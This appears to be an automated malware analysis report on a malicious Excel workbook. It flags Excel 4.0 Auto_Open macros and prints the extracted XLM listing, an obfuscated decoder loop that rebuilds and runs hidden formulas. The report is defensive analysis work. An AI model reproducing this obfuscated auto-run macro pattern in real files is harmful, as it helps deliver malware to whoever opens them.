Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca07272d9920face…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:31:36 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: e10e02e0db3ff3e481c1fbba830df17f SHA-1: 8d89b3638a3130010bf5e3fd3bf5757e24687aa8 SHA-256: ca07272d9920faceb82248167ce3b565febf7cd32608ae8439f1f100a51a1331
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6529 bytes
SHA-256: 943eb2e23865a648efcfbb864d5a4fbf09d9f9774efa904c1701d4d6067e386f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oHHmjpcR
' 0018     22 LABEL : Cell Value, String Constant - AeSSJpC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I165 
' 0018     20 LABEL : Cell Value, String Constant - CUuIN len=0 
' 0018     23 LABEL : Cell Value, String Constant - EIOPEYMT len=0 
' 0018     22 LABEL : Cell Value, String Constant - fFLTDUI len=0 
' 0018     21 LABEL : Cell Value, String Constant - gqAILJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - gVSoMYcYv len=0 
' 0018     26 LABEL : Cell Value, String Constant - hogEEgMnFNg len=0 
' 0018     26 LABEL : Cell Value, String Constant - jKsFIzKzinX len=0 
' 0018     22 LABEL : Cell Value, String Constant - kDqiqWa len=0 
' 0018     25 LABEL : Cell Value, String Constant - lCvOPfkhFO len=0 
' 0018     20 LABEL : Cell Value, String Constant - mHJBR len=0 
' 0018     20 LABEL : Cell Value, String Constant - oUQdy len=0 
' 0018     24 LABEL : Cell Value, String Constant - rordcfnOC len=0 
' 0018     26 LABEL : Cell Value, String Constant - sVEqPoXZWmQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - tkWlD len=0 
' 0018     25 LABEL : Cell Value, String Constant - UCKAywRYwJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - WIRNIZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - XdmQYGWcJNr len=0 
' 0018     22 LABEL : Cell Value, String Constant - xWhSzpF len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZkkvUkRutT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oHHmjpcR,I81,"SET.NAME("hogEEgMnFNg",VALUE("0"))",""
'  oHHmjpcR,I83,"SET.NAME("sVEqPoXZWmQ",hogEEgMnFNg)",""
'  oHHmjpcR,I87,"SET.NAME("EIOPEYMT",hogEEgMnFNg)",""
'  oHHmjpcR,I89,"SET.NAME("CUuIN",COUNTA(kDqiqWa))",""
'  oHHmjpcR,I93,"SET.NAME("gqAILJ",COUNTA(xWhSzpF))",""
'  oHHmjpcR,I98,[],""
'  oHHmjpcR,I100,"SET.NAME("oUQdy","")",""
'  oHHmjpcR,I102,"sVEqPoXZWmQ",""
'  oHHmjpcR,I104,"SET.NAME("UCKAywRYwJ",HLOOKUP("*",kDqiqWa,sVEqPoXZWmQ,FALSE))",""
'  oHHmjpcR,I109,"fFLTDUI",""
'  oHHmjpcR,I112,"SET.NAME("WIRNIZ",hogEEgMnFNg)",""
'  oHHmjpcR,I115,[],""
'  oHHmjpcR,I117,"WIRNIZ",""
'  oHHmjpcR,I122,"ZkkvUkRutT",""
'  oHHmjpcR,I124,"gVSoMYcYv",""
'  oHHmjpcR,I128,"lCvOPfkhFO",""
'  oHHmjpcR,I130,"SET.NAME("AeSSJpC",VALUE(HLOOKUP("*",xWhSzpF,lCvOPfkhFO,FALSE)))",""
'  oHHmjpcR,I133,"mHJBR",""
'  oHHmjpcR,I136,"oUQdy",""
'  oHHmjpcR,I138,"EIOPEYMT",""
'  oHHmjpcR,I142,NEXT(),""
'  oHHmjpcR,I144,"rordcfnOC",""
'  oHHmjpcR,I149,"SET.NAME("f",INT(T(FORMULA(T(oUQdy)&"",""&T(rordcfnOC)))))",""
'  oHHmjpcR,I152,"XdmQYGWcJNr",""
'  oHHmjpcR,I157,NEXT(),""
'  oHHmjpcR,I160,RETURN(),""
'  oHHmjpcR,I189,"SET.NAME("jKsFIzKzinX",I81)",""
'  oHHmjpcR,I193,"kDqiqWa",""
'  oHHmjpcR,I195,"SET.NAME("xWhSzpF",R86C12)",""
'  oHHmjpcR,I199,"SET.NAME("XdmQYGWcJNr",207)",""
'  oHHmjpcR,I201,"SET.NAME("tkWlD",9)",""
'  oHHmjpcR,I206,jKsFIzKzinX(),""
'  oHHmjpcR,I207,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.